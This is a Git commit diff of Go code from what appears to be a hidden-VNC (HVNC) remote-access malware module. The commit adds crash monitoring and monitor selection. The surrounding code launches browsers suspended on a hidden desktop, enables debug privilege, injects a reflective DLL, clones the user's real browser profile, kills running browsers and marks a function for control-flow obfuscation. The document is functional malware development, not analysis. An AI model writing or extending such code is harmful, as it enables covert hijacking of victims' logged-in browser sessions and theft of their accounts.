add more info for when chrome gets killed
This commit is contained in:
@@ -30,6 +30,7 @@ var (
|
||||
procCreateFileMappingW = kernel32.NewProc("CreateFileMappingW")
|
||||
procMapViewOfFile = kernel32.NewProc("MapViewOfFile")
|
||||
procUnmapViewOfFile = kernel32.NewProc("UnmapViewOfFile")
|
||||
procGetExitCodeProcess = kernel32.NewProc("GetExitCodeProcess")
|
||||
)
|
||||
|
||||
var advapi32 = syscall.NewLazyDLL("advapi32.dll")
|
||||
@@ -66,6 +67,58 @@ const (
|
||||
IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20b
|
||||
)
|
||||
|
||||
func describeExitCode(code uint32) string {
|
||||
switch code {
|
||||
case 0:
|
||||
return "normal exit"
|
||||
case 0xC0000005:
|
||||
return "access violation (0xC0000005)"
|
||||
case 0xC0000374:
|
||||
return "heap corruption (0xC0000374)"
|
||||
case 0xC0000409:
|
||||
return "stack buffer overrun (0xC0000409)"
|
||||
case 0xC000001D:
|
||||
return "illegal instruction (0xC000001D)"
|
||||
case 0xC00000FD:
|
||||
return "stack overflow (0xC00000FD)"
|
||||
case 0xC0000096:
|
||||
return "privileged instruction (0xC0000096)"
|
||||
case 0x40010004:
|
||||
return "debugger terminated process"
|
||||
case 0xC000013A:
|
||||
return "process killed by Ctrl+C"
|
||||
case 1:
|
||||
return "general error (exit code 1)"
|
||||
default:
|
||||
return fmt.Sprintf("exit code 0x%X (%d)", code, code)
|
||||
}
|
||||
}
|
||||
|
||||
func monitorProcessCrash(pid uint32, label string, notify func(step string, success bool, detail string)) {
|
||||
hProc, _, _ := procOpenProcess.Call(
|
||||
SYNCHRONIZE|0x1000, // SYNCHRONIZE | PROCESS_QUERY_LIMITED_INFORMATION
|
||||
0, uintptr(pid),
|
||||
)
|
||||
if hProc == 0 {
|
||||
return
|
||||
}
|
||||
defer procCloseHandle.Call(hProc)
|
||||
|
||||
ret, _, _ := procWaitForSingleObject.Call(hProc, 8000)
|
||||
if ret != 0 {
|
||||
return
|
||||
}
|
||||
|
||||
var exitCode uint32
|
||||
procGetExitCodeProcess.Call(hProc, uintptr(unsafe.Pointer(&exitCode)))
|
||||
|
||||
if exitCode == 0 {
|
||||
notify("exited", false, fmt.Sprintf("%s (PID %d) exited immediately — %s", label, pid, describeExitCode(exitCode)))
|
||||
} else {
|
||||
notify("crashed", false, fmt.Sprintf("%s (PID %d) crashed — %s", label, pid, describeExitCode(exitCode)))
|
||||
}
|
||||
}
|
||||
|
||||
// enableDebugPrivilege attempts to enable SeDebugPrivilege for the current process.
|
||||
func enableDebugPrivilege() {
|
||||
var hToken uintptr
|
||||
@@ -103,7 +156,7 @@ func enableDebugPrivilege() {
|
||||
// StartHVNCProcessInjected starts a process suspended on the HVNC desktop,
|
||||
// injects the reflective DLL, then resumes it.
|
||||
// searchPath/replacePath are passed as environment variables for the DLL hooks.
|
||||
func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) (uint32, error) {
|
||||
func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
|
||||
if filePath == "" {
|
||||
return 0, fmt.Errorf("empty file path")
|
||||
}
|
||||
@@ -118,6 +171,7 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes
|
||||
captureDllBytes: captureDllBytes,
|
||||
searchPath: searchPath,
|
||||
replacePath: replacePath,
|
||||
display: display,
|
||||
}, 30*time.Second)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
@@ -125,7 +179,7 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes
|
||||
return result.pid, result.err
|
||||
}
|
||||
|
||||
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
|
||||
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
|
||||
if onDXGIStatus != nil {
|
||||
hvncDXGIStatusCallback.Store(onDXGIStatus)
|
||||
}
|
||||
@@ -158,12 +212,12 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
|
||||
}
|
||||
if isProcessRunning(processName) {
|
||||
notify("kill", true, fmt.Sprintf("killing running %s", processName))
|
||||
killProcess(processName)
|
||||
killed := killProcess(processName)
|
||||
time.Sleep(1500 * time.Millisecond)
|
||||
if isProcessRunning(processName) {
|
||||
notify("kill", false, fmt.Sprintf("%s still running after kill attempt", processName))
|
||||
notify("kill", false, fmt.Sprintf("%s still running after kill attempt (%d terminated)", processName, len(killed)))
|
||||
} else {
|
||||
notify("kill", true, fmt.Sprintf("%s terminated", processName))
|
||||
notify("kill", true, fmt.Sprintf("terminated %d %s process(es) (PIDs %v)", len(killed), processName, killed))
|
||||
}
|
||||
} else {
|
||||
notify("kill", true, fmt.Sprintf("%s not running, no kill needed", processName))
|
||||
@@ -172,7 +226,7 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
|
||||
|
||||
if !clone {
|
||||
notify("launch", true, "starting without profile cloning")
|
||||
pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, "", "")
|
||||
pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, "", "", display)
|
||||
if err != nil {
|
||||
notify("launch", false, fmt.Sprintf("CreateProcess failed: %v", err))
|
||||
return err
|
||||
@@ -184,6 +238,12 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
|
||||
patchOperaAsync(pid, 5, 2*time.Second)
|
||||
}()
|
||||
}
|
||||
if pid != 0 {
|
||||
go func() {
|
||||
defer recoverAndLog("hvnc crash monitor", nil)
|
||||
monitorProcessCrash(pid, info.name, notify)
|
||||
}()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -224,7 +284,7 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
|
||||
}
|
||||
|
||||
notify("launch", true, "starting with cloned profile")
|
||||
pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, realUserData, cloneDir)
|
||||
pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, realUserData, cloneDir, display)
|
||||
if err != nil {
|
||||
notify("launch", false, fmt.Sprintf("CreateProcess failed: %v", err))
|
||||
return err
|
||||
@@ -236,12 +296,18 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
|
||||
patchOperaAsync(pid, 5, 2*time.Second)
|
||||
}()
|
||||
}
|
||||
if pid != 0 {
|
||||
go func() {
|
||||
defer recoverAndLog("hvnc crash monitor", nil)
|
||||
monitorProcessCrash(pid, info.name, notify)
|
||||
}()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// StartHVNCChromeInjected is kept for backward compatibility.
|
||||
func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error {
|
||||
return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, captureDllBytes, true, false, true, nil, nil, nil)
|
||||
return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, captureDllBytes, true, false, true, 0, nil, nil, nil)
|
||||
}
|
||||
|
||||
type browserInfo struct {
|
||||
@@ -417,10 +483,10 @@ func isProcessRunning(name string) bool {
|
||||
return false
|
||||
}
|
||||
|
||||
func killProcess(name string) {
|
||||
func killProcess(name string) []uint32 {
|
||||
snapshot, _, _ := kernel32.NewProc("CreateToolhelp32Snapshot").Call(0x2, 0)
|
||||
if snapshot == uintptr(^uintptr(0)) {
|
||||
return
|
||||
return nil
|
||||
}
|
||||
defer procCloseHandle.Call(snapshot)
|
||||
|
||||
@@ -437,11 +503,12 @@ func killProcess(name string) {
|
||||
ExeFile [260]uint16
|
||||
}
|
||||
|
||||
var killed []uint32
|
||||
var entry processEntry32
|
||||
entry.Size = uint32(unsafe.Sizeof(entry))
|
||||
ret, _, _ := kernel32.NewProc("Process32FirstW").Call(snapshot, uintptr(unsafe.Pointer(&entry)))
|
||||
if ret == 0 {
|
||||
return
|
||||
return nil
|
||||
}
|
||||
target := strings.ToLower(name)
|
||||
for {
|
||||
@@ -449,9 +516,14 @@ func killProcess(name string) {
|
||||
if strings.ToLower(exeName) == target {
|
||||
hProc, _, _ := procOpenProcess.Call(0x0001, 0, uintptr(entry.ProcessID)) // PROCESS_TERMINATE
|
||||
if hProc != 0 {
|
||||
kernel32.NewProc("TerminateProcess").Call(hProc, 0)
|
||||
r, _, _ := kernel32.NewProc("TerminateProcess").Call(hProc, 0)
|
||||
procCloseHandle.Call(hProc)
|
||||
log.Printf("hvnc: terminated %s (PID %d)", name, entry.ProcessID)
|
||||
if r != 0 {
|
||||
killed = append(killed, entry.ProcessID)
|
||||
log.Printf("hvnc: terminated %s (PID %d)", name, entry.ProcessID)
|
||||
} else {
|
||||
log.Printf("hvnc: failed to terminate %s (PID %d)", name, entry.ProcessID)
|
||||
}
|
||||
}
|
||||
}
|
||||
entry.Size = uint32(unsafe.Sizeof(entry))
|
||||
@@ -460,6 +532,7 @@ func killProcess(name string) {
|
||||
break
|
||||
}
|
||||
}
|
||||
return killed
|
||||
}
|
||||
|
||||
func getBrowserUserDataDir(info browserInfo) string {
|
||||
@@ -785,7 +858,7 @@ func calcDirSize(dir string) int64 {
|
||||
return total
|
||||
}
|
||||
|
||||
func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) (uint32, error) {
|
||||
func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
|
||||
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||
if filePath == "" {
|
||||
return 0, fmt.Errorf("empty file path")
|
||||
@@ -805,7 +878,7 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureD
|
||||
enableDebugPrivilege()
|
||||
|
||||
// Create the process suspended on the HVNC desktop
|
||||
hProcess, hThread, pid, err := createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName, len(dllBytes))
|
||||
hProcess, hThread, pid, err := createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName, len(dllBytes), display)
|
||||
if err != nil {
|
||||
procCloseHandle.Call(shmHandle)
|
||||
return 0, fmt.Errorf("failed to create suspended process: %v", err)
|
||||
@@ -1052,12 +1125,17 @@ func createDLLSharedMemory(dllBytes []byte) (handle uintptr, name string, err er
|
||||
return handle, name, nil
|
||||
}
|
||||
|
||||
func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName string, dllSize int) (hProcess, hThread uintptr, pid uint32, err error) {
|
||||
func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName string, dllSize int, display int) (hProcess, hThread uintptr, pid uint32, err error) {
|
||||
desktopNamePtr, err := syscall.UTF16PtrFromString(hvncDesktopName)
|
||||
if err != nil {
|
||||
return 0, 0, 0, fmt.Errorf("failed to convert desktop name: %v", err)
|
||||
}
|
||||
args := " --window-position=0,0"
|
||||
posX, posY := 0, 0
|
||||
if mons := monitorList(); display >= 0 && display < len(mons) {
|
||||
posX = mons[display].rect.Min.X
|
||||
posY = mons[display].rect.Min.Y
|
||||
}
|
||||
args := fmt.Sprintf(" --window-position=%d,%d", posX, posY)
|
||||
chromiumExes := map[string]bool{
|
||||
"chrome.exe": true,
|
||||
"brave.exe": true,
|
||||
@@ -1082,8 +1160,8 @@ func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName
|
||||
var pi processInformation
|
||||
si.cb = uint32(unsafe.Sizeof(si))
|
||||
si.lpDesktop = desktopNamePtr
|
||||
si.dwX = 0
|
||||
si.dwY = 0
|
||||
si.dwX = uint32(posX)
|
||||
si.dwY = uint32(posY)
|
||||
si.dwFlags = STARTF_USEPOSITION
|
||||
|
||||
envBlock, err := buildEnvironmentBlock(searchPath, replacePath, shmName, dllSize)
|
||||
|
||||
Reference in New Issue
Block a user